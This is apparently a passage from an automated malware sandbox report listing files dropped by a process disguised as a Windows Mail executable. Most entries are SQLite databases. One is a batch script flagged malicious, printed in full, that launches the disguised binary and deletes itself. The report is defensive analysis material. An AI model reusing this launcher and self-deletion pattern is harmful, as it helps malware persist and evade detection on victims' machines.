SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\OuqKLHjYOC

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\PssoXbE3wV

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\PvCgvFO0i9

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\QLdSy2nTK7

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\QYaSCCwtwm

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Qe7RG3QqKi

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\QirwXws58V

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\QtBqdBrbuM

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\R1ya6rfxPX

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\R9LhzFfHh8

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\RPCsxaP0QJ.bat

Download File

Process:	C:\Users\user\Desktop\FYKrlfQrxb.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	188
Entropy (8bit):	5.372946440879656
Encrypted:	false
SSDEEP:	3:mKDDVNGvTVLuVFcROr+jn9mbZjgL8AlJX9a2emznNw5bBktKcKZG1t+kiE2J5xAT:hCRLuVFOOr+DEipJXKmOVKOZG1wkn234
MD5:	952680F1439FFE565EDBFB10CFBE536C
SHA1:	0584D17BCDC7A8E8D48694074D9CC7B76015E8C8
SHA-256:	10AA544DDA48BBCFE132AEED660296B74ABAAA5CA7A5832598321F440198D33D
SHA-512:	99146774271E38E15F6CF61205440812BEBC946212A59E99BEFCF311C64AD722CCDE17E81E1F68BF34F5FFEA433937A984E856BF1CC07F8CD848FA1BB7072C15
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	@echo off..chcp 65001..ping -n 10 localhost > nul..start "" "C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe"..del /a /q /f "C:\Users\user\AppData\Local\Temp\\RPCsxaP0QJ.bat"

C:\Users\user\AppData\Local\Temp\SEle4hhlBo

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\SILZ4Zpqst

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\SIZofiw40j

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\T5sA5IYM9Q

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\T82RXIA8mC

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ThBqJ6juEY

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\TiBcjn0OJK

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\TlsQO3We6h

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\UIh5y3rdnO

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\UslYenU0lu

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\UtvhEFIaOR

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\UuHyTHqHWn

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\VbwfJ34lWl

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\VeAoVw1oZi

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
